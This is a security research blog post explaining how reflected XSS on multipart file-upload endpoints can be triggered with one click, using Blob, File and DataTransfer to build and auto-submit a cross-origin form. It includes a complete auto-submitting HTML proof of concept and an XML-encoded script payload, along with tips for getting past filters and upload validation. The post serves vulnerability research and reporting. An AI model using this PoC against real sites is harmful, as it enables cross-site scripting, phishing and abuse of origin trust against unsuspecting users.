Skip to main content

Command Palette

Search for a command to run...

One Click, No File: Upload XSS Without the Upload

How multipart/form-data turns "the victim has to pick a file" into a single link

Updated
13 min readView as Markdown
One Click, No File: Upload XSS Without the Upload
A
Offensive security engineer with experience in external penetration testing, web applications, APIs, and Active Directory infrastructure. My research led me to discover new attack techniques and several assigned CVEs. I also have experience from the defensive side (Blue and Purple team operations), incident response, and adversary TTP simulation across SIEM and EDR platforms to improve detection coverage. I hold the OSEP, OSCP, BSCP, OSWP and CCFA certifications.

TL;DR

Reflected XSS on a file upload endpoint is routinely written off as unexploitable. The reasoning is always the same: the victim would have to craft a malicious file and upload it themselves, so there is no realistic attack path. That reasoning is wrong, and it is wrong for a boring reason — it is an assumption about delivery, not about the vulnerability.

A single HTML page can build the file in the victim's browser, populate a file input with it, and submit a cross-origin multipart POST as a top-level navigation. No file picker. No filesystem. One click on a link.

This post is about that pattern, why the obvious approach fails, and where its real limits are.


1. The assumption

Find a reflection in a ?q= parameter and nobody questions the impact. Find the same reflection behind an endpoint that consumes multipart/form-data and the conclusion flips: only the person who uploaded the file can trigger it.

The unstated premise is that a file upload requires a human to open a file picker and select something from disk. That premise held in 2010. It has not held since Blob, File and DataTransfer became universally available.

The interaction required from the victim is exactly the same as for a reflected GET-based XSS: click a link. Everything after that click is automated. The rest of this post is the mechanics of that automation, and an honest accounting of what it does and does not buy you.


2. Anatomy of what you need to reproduce

Before automating anything, look at the request you are actually trying to forge. Stripped down, an upload POST looks like this:

POST /api/import/validate/public HTTP/1.1
Host: target.example
Content-Type: multipart/form-data; boundary=----geckoformboundary12a924e3
Content-Length: 1189

------geckoformboundary12a924e3
Content-Disposition: form-data; name="file"; filename="poc.xml"
Content-Type: text/xml

<?xml version="1.0" encoding="UTF-8"?>
...
------geckoformboundary12a924e3--

Three things matter:

  • name="file" — this is the parameter name. This is what the server binds to. Get it wrong and nothing works.

  • filename="poc.xml" — often cosmetic, sometimes fed into extension validation, occasionally reflected itself.

  • The inner Content-Type — the declared type of the part, independent of the request's own content type. Some validators check it, most do not.

The boundary is irrelevant to you, and that turns out to matter a lot in the next section.


3. Why fetch() is the wrong tool

The obvious first instinct is FormData plus fetch(). It builds a valid multipart body in three lines and it works perfectly — for a CSRF-style side effect.

It does not work for XSS, and the reason is worth internalising:

  • fetch() gives you the response as data, inside your origin's JavaScript context. Cross-origin, you either get blocked by CORS or, with mode: "no-cors", an opaque response you cannot read at all. Either way the HTML is never parsed as a document, and no script in it ever executes.

  • A real <form> submission performs a top-level navigation. The browser renders the response as a document, at the target's URL, in the target's origin. Any script in that response executes with full access to that origin.

So:

fetch() — you can read the response, but you cannot execute it. form.submit() — you cannot read the response, but it executes in the target's origin.

For XSS, always the second. As a bonus, the browser generates the boundary and assembles the body itself, which makes this approach considerably more robust than hand-rolling a multipart body as a string.

"But doesn't the target have to allow my origin?"

No, and this is the objection that comes up every time, so it is worth answering properly.

CORS does not govern navigations. CORS decides whether your JavaScript is allowed to read a cross-origin response. Here you read nothing: the browser leaves your page and navigates to the target. Forms predate CORS by a decade and have always been submittable cross-origin. That is precisely why CSRF exists as a vulnerability class, if a cross-origin <form> needed the destination's permission, it wouldn't.

The consequence that matters: after the navigation, the document lives at target.example. Your script executes in the target's origin, with its document.domain and access to any non-HttpOnly cookie via document.cookie. Your attacker origin is no longer in the picture; the tab left.

What can stop you, in descending order of likelihood:

  • The response Content-Type plus nosniff. The real gate. No text/html, no document, no execution.

  • CSP script-src. Kills inline execution even with a flawless reflection.

  • Server-side Origin / Referer validation. The only one genuinely related to the question. The browser does send Origin: https://attacker.example on a cross-origin form POST, along with Sec-Fetch-Site: cross-site. This is not CORS — the header is informational — but plenty of frameworks validate it out of the box, and if the backend does, you are rejected before the reflection ever happens. Check this first; it is the single most common reason a working manual payload fails to fire from a hosted PoC.

  • X-Frame-Options / frame-ancestors. Irrelevant here, and that is exactly why the PoC uses a top-level navigation rather than an iframe. Those directives only govern framing.

The price of being cross-site is the SameSite cookie loss covered below. If you need a same-site position, any HTML injection or open redirect on the target domain gives you one — and from there the cookies travel.


4. The obstacle: input.files is read-only

You cannot do this:

input.value = "/etc/passwd";   // blocked
input.files = [myFile];        // TypeError

File inputs are deliberately locked down. A page that could set input.value could exfiltrate arbitrary files from the victim's disk, so browsers made value unwritable and files a read-only FileList.

The rationale is stated plainly in the spec history. When Nico Weber proposed lifting the restriction on the WHATWG list in 2012, he named the exact attack it was there to prevent assigning a filesystem path to input.files and submitting the form, and argued it no longer applied, since the attribute's type had changed from a string to a FileList. You cannot name a file on the victim's disk any more. You can hand the input a file you constructed yourself, and that is a different threat model entirely.

This is the wall that most upload-XSS PoCs hit, and it is the technical reason behind the self-XSS verdict. It also has a well-documented door in it.


5. The bridge: DataTransfer

DataTransfer was built for drag & drop. Unlike FileList, it is constructible and writable and its .files property is a genuine FileList that the file input accepts.

The whole chain is five steps:

string → Blob → File → DataTransfer.items.add() → input.files → form.submit()

In code:

const blob = new Blob([xmlString], { type: "text/xml" });
const file = new File([blob], "poc.xml", { type: "text/xml" });

const dt = new DataTransfer();
dt.items.add(file);

input.files = dt.files;   // now legal

That is the entire trick. The file exists only in memory, never touches disk, and the victim never sees a file picker.


6. The full one-click PoC

<!DOCTYPE html>
<html>
<body style="font-family: sans-serif; text-align: center; margin-top: 50px;">

<p>Loading…</p>
<button onclick="go()">Continue</button>

<script>
function go() {
  const payload = `<?xml version="1.0" encoding="UTF-8"?>
<record>
  <field>canary1a&lt;script>alert(document.domain)&lt;/script>canary1b</field>
</record>`;

  const blob = new Blob([payload], { type: "text/xml" });
  const file = new File([blob], "poc.xml", { type: "text/xml" });

  const dt = new DataTransfer();
  dt.items.add(file);

  const form = document.createElement("form");
  form.method  = "POST";
  form.action  = "https://target.example/api/import/validate/public";
  form.enctype = "multipart/form-data";

  const input = document.createElement("input");
  input.type  = "file";
  input.name  = "file";
  input.files = dt.files;

  form.appendChild(input);
  document.body.appendChild(form);
  form.submit();
}

window.onload = go;
</script>

</body>
</html>

Host it anywhere, send the link, done. The Continue button is a fallback in case the auto-submit is suppressed, and it makes for a much better demo video than a page that flashes and redirects before the viewer sees anything.


7. Real-world gotchas

SameSite cookies. This is a cross-site POST, so Lax and Strict cookies do not travel. Your payload executes in the target's origin but in an unauthenticated context. Be honest about this in the report — it caps the impact at phishing under a trusted domain, response defacement, and abuse of origin trust, rather than session theft. Overselling it is the fastest way to lose a triager's goodwill.

The </script> trap. A template literal inside an inline <script> does not protect you: while in the script data state, the HTML tokenizer scans for the literal sequence </script and terminates the block there — string context, backticks and comments are all irrelevant. Write <\/script> and move on. This one costs people twenty minutes every single time.

Encoding for the inner parser, which happens to solve the trap for free. This is worth walking through carefully, because three parsers are involved and each one sees something different.

In XML, < is illegal in character data and must be written &lt;. So the payload inside the template literal reads:

canary1a&lt;script>alert(document.domain)&lt;/script>canary1b

Now trace it:

  1. The HTML tokenizer, reading your inline <script> block, sees &lt;/script>. Character references are not decoded in the script data state, and there is no literal < in front of /script, so the terminator never matches. Your script block survives — the </script> trap is neutralised as a side effect of the XML encoding.

  2. The XML parser on the server decodes &lt; back to <, so the element value becomes the literal string <script>alert(1)</script>.

  3. The victim's HTML parser receives that value reflected into the error page without encoding, and executes it.

> needs no escaping in XML character data, which is why only the opening angle brackets are encoded. The general principle: encode for the parser immediately in front of you, not for the final sink. Every hop that decodes on your behalf is a hop that can carry your payload past a filter looking for <script.

CSP on the response. A restrictive script-src on the target kills inline execution even with a perfect reflection. Check it before spending an afternoon.

X-Content-Type-Options: nosniff. Half of this class of bug is the response content type. If it comes back as application/json with nosniff, the browser will not render it as a document and nothing runs.

Extra parts and CSRF tokens. Add hidden inputs to the form for any additional fields. If the endpoint requires an unpredictable token, the chain breaks — and that is a legitimate reason for a lower severity.

Extension and magic byte validation. You control the filename via the File constructor and the declared type via the Blob. For magic byte checks, prepend the required bytes to the blob contents.

Post/Redirect/Get. If the server 302s after the POST, the reflected content may never be rendered. Worth checking early.


8. A worked example: the XML validation endpoint

The pattern is easiest to see in a concrete shape, so here is one that turns up regularly: a public validation tool that accepts an XML document via multipart/form-data and validates it against an XSD.

When an element value fails validation, the server helpfully embeds that value verbatim into the error message — and serves the whole response as Content-Type: text/html.

Two independent defects, harmless apart, critical together:

  1. No contextual output encoding of the reflected value.

  2. A content type that instructs the browser to parse the response as a document.

That second point deserves emphasis, because it is the half everyone forgets. If the response came back as application/json, the exact same missing-encoding bug would execute nothing at all. The content type is not a detail of presentation, it is what decides whether a reflection is a cosmetic bug or an XSS.

The reflection points are easiest to find with random canary markers wrapping the payload: submit a document full of unique strings, then grep the error response to see exactly which values come back raw and which get escaped. Validation errors are verbose and nested, and eyeballing them does not scale.

And no, this is not XXE. In a properly configured parser, external entity resolution is off: no DOCTYPE processing, no SYSTEM fetches, no out-of-band callbacks. Worth stating explicitly, because "XML upload endpoint" makes everyone reach for XXE first and then stop thinking. The interesting bug here is downstream of the parser, in what the application does with a value it has already safely parsed.


Try it yourself

Everything above is reproducible locally in under two minutes:

Reproducible lab: a minimal vulnerable server that reproduces the reflect-plus-text/html pattern, and a parameterised PoC template pointing at localhost.


Prior art and credits

None of the APIs used here are new, and this is not the first write-up to chain them. If you want the primary sources rather than another blog repeating them:

Where the capability comes from — not security research, but the standards process:

  • W3C Bug 10505 (2010) — the original request to allow a DataTransfer to be passed to a file input, so that forms could be processed without AJAX.

  • WHATWG mailing list, May 2012 — Nico Weber's proposal to make files writable, including the security rationale for the original restriction. The single most useful link in this list.

  • W3C Bug 22682 (2013) — Ian Hickson confirming WebKit's implementation of input.files = dataTransfer.files, and the API design discussion around it.

  • Rik Schennink, "How To Set The Value Of A File Input" — the clearest web-dev-side explanation, plus the browser support history (Safari was last, in 14.1) and the macOS quirk where the filename does not render.

Security-side prior art:

  • mchklt, "Self-XSS via filename + CSRF on contact us 'multipart/data' form" (2024) — the same chain applied to a reflection in the filename part. Notably, Burp's built-in multipart CSRF PoC handled everything except the file part, which is exactly why custom JS is needed. Also contains a neat filter bypass: document['domain'] when dot notation is blocked. He credits an earlier write-up by Sabermohamed.

  • Yann C., "Leveraging Self-XSS via WYSINWYC" — a different approach to the same problem, and worth reading for the framing: it lists the impossibility of automating a POST payload via form auto-submit as an inherent limitation of self-XSS. That assumption is precisely what this post argues is no longer true.

What I hope this post adds is not the technique but the systematic treatment: why fetch() is the wrong tool, why CORS is not in play, where SameSite caps the impact, and how to demonstrate the whole thing so the delivery question never comes up.


Closing

The vulnerability in the worked example is ordinary a missing htmlspecialchars() and a wrong Content-Type. What makes this class worth writing about is that the gap between "unexploitable" and "reflected XSS" usually has nothing to do with the vulnerability. It comes down to whether anyone bothered to solve the delivery problem.

Files are parameters. Build them in the victim's browser.

Research

Part 1 of 1